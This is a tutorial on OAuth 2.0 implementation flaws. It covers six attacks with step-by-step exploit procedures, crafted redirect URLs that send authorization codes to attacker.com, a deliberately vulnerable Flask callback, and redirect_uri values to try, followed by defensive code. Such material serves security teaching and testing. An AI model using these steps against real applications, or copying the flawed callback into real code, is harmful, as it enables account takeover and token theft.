OAuth 2.0: Common Implementation Flaws and How to Exploit Them
How OAuth 2.0 Works
OAuth 2.0 is an authorization protocol that allows applications (clients) to obtain limited access to resources on behalf of a user without knowing their password.
Typical Authorization Code Flow:
1. User clicks "Sign in with Google"
2. App redirects to Google:
https://accounts.google.com/oauth/authorize?
client_id=APP_ID&
redirect_uri=https://app.com/callback&
response_type=code&
scope=email&
state=RANDOM_STATE
3. User logs into Google and approves access
4. Google redirects to redirect_uri with a code:
https://app.com/callback?code=AUTH_CODE&state=RANDOM_STATE
5. App exchanges code for access_token:
POST https://oauth2.googleapis.com/token
grant_type=authorization_code&code=AUTH_CODE&
client_secret=SECRET&redirect_uri=...
6. Google returns access_token
7. App uses token to access the API
Attack 1: Missing or Predictable State Parameter (CSRF)
Idea: the state parameter prevents CSRF attacks. If it's absent or static — an attacker can force the victim to link their account to the attacker's.
Exploit:
1. Attacker initiates an OAuth flow, stops at step 4
(gets a URL with the code but doesn't complete authorization)
2. Sends this URL to the victim:
https://victim-app.com/callback?code=ATTACKER_CODE
3. Victim (already logged in) visits the link
4. App binds ATTACKER_CODE to the victim's account
5. Attacker can now log into the victim's account via their own Google
Check:
1. Start an OAuth flow
2. Get a callback URL with a code
3. Open the same URL in another browser (no session)
4. If authorization succeeds — state is not being validated
Attack 2: Open redirect_uri
Idea: if the OAuth server doesn't strictly validate redirect_uri — an attacker can steal the authorization code.
Scenario 1: Wildcard
# Registered: https://app.com/callback
# Server allows: https://app.com/*
# Attack: find an open redirect on app.com
# https://app.com/redirect?url=https://attacker.com
# Malicious OAuth URL:
https://accounts.google.com/oauth/authorize?
client_id=APP_ID&
redirect_uri=https://app.com/redirect?url=https://attacker.com&
response_type=code
# Victim authorizes -> code is sent to attacker.com via redirect
Scenario 2: Path traversal
# Registered: https://app.com/callback
# Vulnerable server accepts: https://app.com/callback/../evil
redirect_uri=https://app.com/callback%2F..%2Fevil
Attack 3: Authorization Code Interception via Referer
Idea: if the /callback page loads external resources (analytics, CDN) — the URL containing code may leak via the Referer header.
GET https://app.com/callback?code=SECRET_CODE
# The callback page loads:
<script src="https://analytics.example.com/track.js">
<img src="https://cdn.company.com/logo.png">
# These requests will include:
Referer: https://app.com/callback?code=SECRET_CODE
Check: look at network requests in DevTools during the OAuth callback. Is code in the Referer of any request?
Attack 4: Insufficient Token Validation
Idea: some apps don't validate the access_token — they just trust the email or user_id returned by the OAuth provider.
# Vulnerable implementation
@app.route('/oauth/callback')
def callback():
code = request.args.get('code')
token = exchange_code_for_token(code)
user_info = get_user_info(token)
# BUG: not checking token audience
user = User.query.filter_by(email=user_info['email']).first()
login_user(user)
# Attack: register your own Google OAuth app,
# get a token for the victim (if you know their email),
# replace the token in the request
Attack 5: Token Leakage via Fragment (#)
Idea: in the Implicit Flow (old, not recommended), access_token is passed via the URL fragment.
https://app.com/callback#access_token=TOKEN&token_type=bearer
# Problem: the fragment can leak via:
# - document.referrer if there's a redirect
# - window.location.hash accessible to JS on the page
# - Browser history
Attack 6: Account Takeover via Email Claim
Idea: if a Google account can be registered with the victim's email, or the OAuth provider doesn't verify email.
1. Victim: alice@company.com
2. Attacker registers a Google account with alice@company.com
(some providers don't verify email on registration)
3. OAuth flow: Google returns email=alice@company.com
4. App looks up User by email -> finds victim's account
5. Attacker is logged in!
Where to Look for OAuth Vulnerabilities
1. Is the state parameter present? Is it validated?
2. Check redirect_uri: what will the server accept?
- Try: redirect_uri=https://attacker.com
- Try: redirect_uri=https://app.com.attacker.com
- Try: redirect_uri=https://app.com/callback/../evil
3. Is ?code= in the URL on the callback page?
Are external resources loaded?
4. Check /oauth/callback in Burp — how is the code used?
Is it validated?
5. Implicit Flow: is there a #access_token in the URL?
Defenses
# 1. State parameter — cryptographically random and session-bound
import secrets
state = secrets.token_urlsafe(32)
session['oauth_state'] = state
@app.route('/callback')
def callback():
if request.args.get('state') != session.pop('oauth_state', None):
abort(403)
# 2. Strict redirect_uri comparison
ALLOWED_REDIRECT_URIS = ['https://app.com/oauth/callback']
if redirect_uri not in ALLOWED_REDIRECT_URIS:
raise ValueError
# 3. Validate token audience claim
decoded = jwt.decode(token, key, audience='APP_CLIENT_ID')
# 4. Use Authorization Code Flow + PKCE instead of Implicit